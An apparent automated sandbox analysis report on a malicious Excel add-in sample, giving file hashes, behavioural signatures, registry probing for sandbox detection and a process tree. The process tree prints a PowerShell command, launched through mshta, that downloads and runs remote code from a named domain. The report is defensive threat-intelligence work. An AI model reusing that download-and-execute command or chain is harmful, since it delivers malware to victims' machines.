Analysis
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max time kernel
138s -
max time network
126s -
platform
windows10-2004_x64 -
resource
win10v2004-20240426-en -
resource tags
arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system -
submitted
22-05-2024 20:00
Static task
static1
Behavioral task
behavioral1
Sample
f072a78a6a1bdfa4bbf17e1fbbd0c7af3dd9df84c83baa21651feb464429ba33.xll
Resource
win10v2004-20240426-en
Behavioral task
behavioral2
Sample
f072a78a6a1bdfa4bbf17e1fbbd0c7af3dd9df84c83baa21651feb464429ba33.xll
Resource
win11-20240426-en
General
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Target
f072a78a6a1bdfa4bbf17e1fbbd0c7af3dd9df84c83baa21651feb464429ba33.xll
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Size
12KB
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MD5
662e92bda0142a38ed777f475d431a25
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SHA1
a3890d18e882d5efc273825493a572a8e78946f9
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SHA256
f072a78a6a1bdfa4bbf17e1fbbd0c7af3dd9df84c83baa21651feb464429ba33
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SHA512
6d392b4f8956d970b2c9ac9cd7c3d26e6f76b1fad82bc273adc02edb37947614462f54014b73de9f4ab9e93eaedf318e189869f353abb2707cba2ee8565f73fc
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SSDEEP
192:nBL29RBzDzeobchBj8JONmON4nruurEPEjr7AhN:R29jnbcvYJObMuuvr7CN
Malware Config
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
mshta.exedescription pid pid_target process target process Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 2740 3348 mshta.exe EXCEL.EXE -
Blocklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 41 4108 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
mshta.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000\Control Panel\International\Geo\Nation mshta.exe -
Loads dropped DLL 2 IoCs
Processes:
EXCEL.EXEpid process 3348 EXCEL.EXE 3348 EXCEL.EXE -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
EXCEL.EXEdescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
EXCEL.EXEpid process 3348 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepid process 4108 powershell.exe 4108 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 4108 powershell.exe -
Suspicious use of FindShellTrayWindow 2 IoCs
Processes:
EXCEL.EXEpid process 3348 EXCEL.EXE 3348 EXCEL.EXE -
Suspicious use of SetWindowsHookEx 10 IoCs
Processes:
EXCEL.EXEpid process 3348 EXCEL.EXE 3348 EXCEL.EXE 3348 EXCEL.EXE 3348 EXCEL.EXE 3348 EXCEL.EXE 3348 EXCEL.EXE 3348 EXCEL.EXE 3348 EXCEL.EXE 3348 EXCEL.EXE 3348 EXCEL.EXE -
Suspicious use of WriteProcessMemory 6 IoCs
Processes:
EXCEL.EXEmshta.exedescription pid process target process PID 3348 wrote to memory of 2740 3348 EXCEL.EXE mshta.exe PID 3348 wrote to memory of 2740 3348 EXCEL.EXE mshta.exe PID 3348 wrote to memory of 2740 3348 EXCEL.EXE mshta.exe PID 2740 wrote to memory of 4108 2740 mshta.exe powershell.exe PID 2740 wrote to memory of 4108 2740 mshta.exe powershell.exe PID 2740 wrote to memory of 4108 2740 mshta.exe powershell.exe
Processes
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\f072a78a6a1bdfa4bbf17e1fbbd0c7af3dd9df84c83baa21651feb464429ba33.xll"1⤵
- Loads dropped DLL
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3348 -
C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "C:\users\public\example.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5} mshta2⤵
- Process spawned unexpected child process
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2740 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (irm -Uri 'iapartmentlistings.com/tykhwuxk')3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4108
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
2KB
MD5f754844cfb65838d1dd6b19dde5d835c
SHA1b3eb677783adc88c8d048898449e04d49f416db6
SHA2563644b387519f3509a1ce3d2201e2e1e8af36217138cc6f9e62d6e37c887097a6
SHA512f42f89562b5c0be86dbd04683ee6c30711155acd1239e273da726c2bfedf5d0806c479b7107792c136bff6e97efb8d9145df0c176f499f86f1b7e304a2e3ccdf
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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C:\Users\Admin\AppData\Local\Temp\f072a78a6a1bdfa4bbf17e1fbbd0c7af3dd9df84c83baa21651feb464429ba33.xll
Filesize12KB
MD5662e92bda0142a38ed777f475d431a25
SHA1a3890d18e882d5efc273825493a572a8e78946f9
SHA256f072a78a6a1bdfa4bbf17e1fbbd0c7af3dd9df84c83baa21651feb464429ba33
SHA5126d392b4f8956d970b2c9ac9cd7c3d26e6f76b1fad82bc273adc02edb37947614462f54014b73de9f4ab9e93eaedf318e189869f353abb2707cba2ee8565f73fc